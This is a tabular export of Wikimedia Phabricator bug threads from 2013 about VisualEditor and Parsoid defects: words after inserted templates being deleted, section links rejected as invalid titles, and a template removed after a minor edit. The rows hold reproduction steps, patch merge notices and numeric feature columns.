**Severity**: critical",Unbreak Now!,100.0,1377477420,1378222889.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-5bbhrorxovykfuz52i3u,task_description,resolved,True,c1,3,False,False,True,8,,2.0,0.0,0.0,2.5,0.0,5.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,3.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.5,0.0,0.0,4.0,2.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,1.0,2.0,0.0,0.0,0.5,1.0,0.0,17.5,0.5,1.0,0.5,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,7.0,3.0,9.0,2.0,3.5,10.5,0.0,0.0,0.0,0.0,3.5,0.0,2.5,0.0,0.5,10.0,2.0,0.0,0.0,0.0,0.5,0.0,2.5,2.5,0.0,1.5,0.5,0.0,1.5,3.8295747422680413,0.6786941580756014,"When inserting any template immediately before any word that is linked or has bold or italic markup, that word is deleted but continues to be displayed in the editing surface. The deletion can only be seen in review changes or upon saving.

To reproduce:
1. Open any page in VE.
2. Place the cursor immediately before a word (i.e. with no white space between the cursor and word) that is one or more of:
   * A link
   * Bold text
   * Italic text
   * plain text that you have just added one of the above to
3. Insert any template at the cursor position
4. Observe the word remains as expected
5. Review changes, and observe the word has been deleted.

Examples: URL

On en.wp PamD encountered this bug when inserting a maintenance template at the head of an article that started with a bold word.

--------------------------
**Version**: unspecified
**Severity**: critical"
237055,Parsoid: Annotated text after a template is deleted,This is the same Parsoid bug that affected both places where we implicitly assumed that the 'about' id is always present (without realizing/checking that it could be absent for VE-inserted transclusions).,,,1378223041,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-5bbhrorxovykfuz52i3u,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,5.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,7.0,7.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,12.0,7.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.2439024390243905,0.8780487804878049,This is the same Parsoid bug that affected both places where we implicitly assumed that the 'about' id is always present (without realizing/checking that it could be absent for VE-inserted transclusions).
237050,Parsoid: Annotated text after a template is deleted,"

*** This bug has been marked as a duplicate of bug 53434 ***",,,1378222889,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-5bbhrorxovykfuz52i3u,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 53434 ***"
237046,Parsoid: Annotated text after a template is deleted,"HTML

<p><span typeof=""mw:Transclusion"" data-mw=""{&quot;target&quot;:{&quot;href&quot;:&quot;Template:Inline&quot;,&quot;wt&quot;:&quot;Inline&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;Foo&quot;}}}""></span><b>bar</b>quux</p>

Expected wikitext

{{Inline|Foo}}'''bar'''quux

Actual wikitext

{{Inline|Foo}}quux

:(",,,1377884301,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-5bbhrorxovykfuz52i3u,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,9.705882352941176,0.6470588235294118,"HTML

<p><span typeof=""mw:Transclusion"" data-mw=""{&quot;target&quot;:{&quot;href&quot;:&quot;Template:Inline&quot;,&quot;wt&quot;:&quot;Inline&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;Foo&quot;}}}""></span><b>bar</b>quux</p>

Expected wikitext

{{Inline|Foo}}'''bar'''quux

Actual wikitext

{{Inline|Foo}}quux

:("
237040,Parsoid: Annotated text after a template is deleted,"This does not require pre-existing formatted or linked text.  The bug also appears if you enter the template first and then add bold word(s) immediately afterwards (no space between the template and the text), starting from an empty page or in a new paragraph.  

For example, using VisualEditor with the intention of producing this, in this order:

{{unreferenced}}'''Hello world''' from Wikipedia.

actually results in this:

{{unreferenced}} from Wikipedia.

If you add a space or hit return after the template, then it works as expected.",,,1377538637,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-5bbhrorxovykfuz52i3u,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,1.5,3.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,10.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,1.5,1.5,0.5,0.0,0.0,1.5,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,0.0,5.0,1.5,3.0,9.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,10.5,4.0,0.0,1.0,0.0,2.5,0.0,0.0,2.0,0.0,2.5,0.0,0.0,0.0,4.052631578947368,0.7719298245614035,"This does not require pre-existing formatted or linked text.  The bug also appears if you enter the template first and then add bold word(s) immediately afterwards (no space between the template and the text), starting from an empty page or in a new paragraph.  

For example, using VisualEditor with the intention of producing this, in this order:

{{unreferenced}}'''Hello world''' from Wikipedia.

actually results in this:

{{unreferenced}} from Wikipedia.

If you add a space or hit return after the template, then it works as expected."
55219,VisualEditor: [Regression] Link inspector prevents insertion of section links,"VE link insertion dialog when attempting to add a section link

Since the latest update it is impossible to create links to specific sections of a page in VisualEditor: As soon as you enter the # character the link insertion dialog gives an ""Invalid title"" error. See screenshot attached and bug 50881 comment 11.

I've reported this separately to bug 50881 as that is an enhancement to give proper handling of section links, but this is a regression that blocks all use of links to sections.

--------------------------
**Version**: unspecified
**Severity**: critical

**Attached**: {F11887}",Unbreak Now!,100.0,1377188700,1392231560.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-2o36gh7lztukgi2lajdg,task_description,resolved,True,c1,3,False,False,False,7,,1.0,0.0,0.0,0.0,0.0,4.5,2.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.5,0.5,2.5,8.5,0.0,2.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,0.5,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,1.0,0.0,10.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,4.5,2.0,6.5,1.0,1.5,8.0,0.0,0.0,0.0,0.5,3.5,0.0,2.0,0.0,1.5,8.5,2.0,0.0,1.0,0.0,1.5,0.0,1.5,3.0,0.0,0.5,0.0,0.5,0.0,4.080645161290322,0.7258064516129032,"VE link insertion dialog when attempting to add a section link

Since the latest update it is impossible to create links to specific sections of a page in VisualEditor: As soon as you enter the # character the link insertion dialog gives an ""Invalid title"" error. See screenshot attached and bug 50881 comment 11.

I've reported this separately to bug 50881 as that is an enhancement to give proper handling of section links, but this is a regression that blocks all use of links to sections.

--------------------------
**Version**: unspecified
**Severity**: critical

**Attached**: {F11887}"
254794,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 112898 merged by jenkins-bot:
Include fragments in normalizedTitle

https://gerrit.wikimedia.org/r/112898",,,1392229930,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,"Change 112898 merged by jenkins-bot:
Include fragments in normalizedTitle

GERRIT_URL"
254789,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 112898 had a related patch set uploaded by Esanders:
Include fragments in normalizedTitle

https://gerrit.wikimedia.org/r/112898",,,1392218875,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,"Change 112898 had a related patch set uploaded by Esanders:
Include fragments in normalizedTitle

GERRIT_URL"
254783,VisualEditor: [Regression] Link inspector prevents insertion of section links,"(In reply to comment #10)
> Unless I'm missing something obvious, I can't make this work anymore on it.wp
> or Mediawiki. It will just ignore the #name_of_the_section if I add it to an
> existing wikilink and therefore, it will not recognize the link as edited and
> the Save button will stay greyed out.

Split that issue into bug 61221.",,,1392138773,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,0.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0833333333333335,0.75,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE

Split that issue into bug 61221."
254776,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Unless I'm missing something obvious, I can't make this work anymore on it.wp or Mediawiki. It will just ignore the #name_of_the_section if I add it to an existing wikilink and therefore, it will not recognize the link as edited and the Save button will stay greyed out.",,,1392137133,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,32,,0.0,2.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,6.0,0.0,9.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,13.0,4.0,6.0,9.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,11.0,11.0,9.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.148148148148148,0.8148148148148148,"Unless I'm missing something obvious, I can't make this work anymore on it.wp or Mediawiki. It will just ignore the #name_of_the_section if I add it to an existing wikilink and therefore, it will not recognize the link as edited and the Save button will stay greyed out."
254771,VisualEditor: [Regression] Link inspector prevents insertion of section links,… and now deployed.,,,1377213471,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,… and now deployed.
254763,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80507 merged by Catrope:
Modify regex to allow section links as valid titles

https://gerrit.wikimedia.org/r/80507",,,1377212160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,17.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.611111111111111,1.0,"Change 80507 merged by Catrope:
Modify regex to allow section links as valid titles

GERRIT_URL"
254756,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80505 merged by Catrope:
Modify regex to allow section links as valid titles

https://gerrit.wikimedia.org/r/80505",,,1377212156,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.611111111111111,1.0,"Change 80505 merged by Catrope:
Modify regex to allow section links as valid titles

GERRIT_URL"
254749,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80507 had a related patch set uploaded by Jforrester:
Modify regex to allow section links as valid titles

https://gerrit.wikimedia.org/r/80507",,,1377211215,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.6521739130434785,1.0,"Change 80507 had a related patch set uploaded by Jforrester:
Modify regex to allow section links as valid titles

GERRIT_URL"
254743,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80505 had a related patch set uploaded by Jforrester:
Modify regex to allow section links as valid titles

https://gerrit.wikimedia.org/r/80505",,,1377211126,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.6521739130434785,1.0,"Change 80505 had a related patch set uploaded by Jforrester:
Modify regex to allow section links as valid titles

GERRIT_URL"
254736,VisualEditor: [Regression] Link inspector prevents insertion of section links,This is now fixed in master; we'll cherry-pick it and push live this afternoon. Sorry for the problem.,,,1377206624,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5416666666666665,0.9583333333333334,This is now fixed in master; we'll cherry-pick it and push live this afternoon. Sorry for the problem.
254726,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80417 merged by jenkins-bot:
Modify regex to allow section links as valid titles

https://gerrit.wikimedia.org/r/80417",,,1377206517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.35,1.0,"Change 80417 merged by jenkins-bot:
Modify regex to allow section links as valid titles

GERRIT_URL"
254717,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80417 had a related patch set uploaded by Esanders:
Modify regex to allow section links as valid titles

https://gerrit.wikimedia.org/r/80417",,,1377196029,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.565217391304348,1.0,"Change 80417 had a related patch set uploaded by Esanders:
Modify regex to allow section links as valid titles

GERRIT_URL"
254708,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Ah, good that someone already reported. Confirmed in mediawiki.org.",,,1377190610,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.916666666666667,0.9166666666666666,"Ah, good that someone already reported. Confirmed in mediawiki.org."
54608,VisualEditor: Template gets removed without editing it,"Steps to reproduce:
1. Go to http://en.wikipedia.org/wiki/Post_and_core
2. Edit it with VE
3. Make some minor edit, by example, add a space after ""is a type""
4. Review your changes (or save)

Results:
The {{Interventions infobox|(...)}} gets removed.

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1375867440,1379348384.0,PHID-USER-mapumhlp3gw5qefhvafn,False,,False,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_description,resolved,True,c1,3,False,False,True,5,,1.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,15.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,2.0,6.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,3.0609756097560976,0.6463414634146342,"Steps to reproduce:
1. Go to URL
2. Edit it with VE
3. Make some minor edit, by example, add a space after ""is a type""
4. Review your changes (or save)

Results:
The {{Interventions infobox|(...)}} gets removed.

--------------------------
**Version**: unspecified
**Severity**: major"
244141,VisualEditor: Template gets removed without editing it,Moving to date we likely fixed this with the changes to DM.,,,1379348384,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.6923076923076925,0.9230769230769231,Moving to date we likely fixed this with the changes to DM.
244134,VisualEditor: Template gets removed without editing it,"I can't reproduce it anymore either, so I'm closing it.",,,1378994061,,PHID-USER-mapumhlp3gw5qefhvafn,False,,,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.2857142857142856,0.8571428571428571,"I can't reproduce it anymore either, so I'm closing it."
